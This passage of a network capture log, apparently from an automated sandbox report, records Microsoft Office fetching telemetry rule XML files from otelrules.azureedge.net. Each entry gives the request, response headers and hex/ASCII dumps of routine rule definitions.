2024-10-31 16:27:11 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.4	62908	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:11 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:11 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:11 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: af2b1dc9-001e-0066-0d6c-27561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162711Z-16849878b78q9m8bqvwuva4svc00000008d000000000188k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:11 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.4	62909	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:11 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:12 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:12 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: f17b3a4e-c01e-002b-72e7-276e00000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162712Z-17c5cb586f69w69mgazyf263an0000000940000000004pn0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:12 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.4	62910	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:12 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:12 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:12 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: bb28544f-801e-0047-7562-267265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162712Z-16849878b78g2m84h2v9sta29000000008n000000000pxkh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 16:27:12 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.4	62912	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:12 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:12 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:12 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 170621ef-f01e-003f-351f-28d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162712Z-15b8d89586fst84kttks1s2css00000003kg0000000004kd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:12 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.4	62911	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:12 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:12 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:12 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: c3c63728-001e-0082-75c8-275880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162712Z-17c5cb586f672xmrz843mf85fn00000008n000000000hu25 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:12 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.4	62913	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:12 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:12 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:12 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 3b13a0aa-201e-003f-7a6e-2a6d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162712Z-17c5cb586f64sw5wh0dfzbdtvw000000020g000000004wcx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:12 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.4	62914	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:12 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:12 UTC	517	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:12 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: f43c7883-001e-0028-37e0-2ac49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162712Z-159b85dff8f2qnk7hC1DFWwb2400000002g0000000008gxm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:12 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.4	62915	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:13 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:13 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:13 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: fb8efb24-701e-0050-0ba3-266767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162713Z-16849878b78fkwcjkpn19c5dsn00000008qg00000000t656 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:13 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.4	62916	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:13 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:13 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:13 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 19a18c92-701e-0098-0fb0-26395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162713Z-16849878b78fkwcjkpn19c5dsn00000008w0000000003v7c x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:13 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.4	62918	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:13 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:13 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:13 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 0243abe0-001e-0028-29fb-25c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162713Z-16849878b78qf2gleqhwczd21s00000009yg00000000gvqe x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:13 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.4	62917	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:13 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:13 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:13 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 5fa9ef6b-c01e-008d-1a60-2b2eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162713Z-15b8d89586f4zwgbgswvrvz4vs0000000b6000000000bypr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 16:27:13 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.4	62919	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:13 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
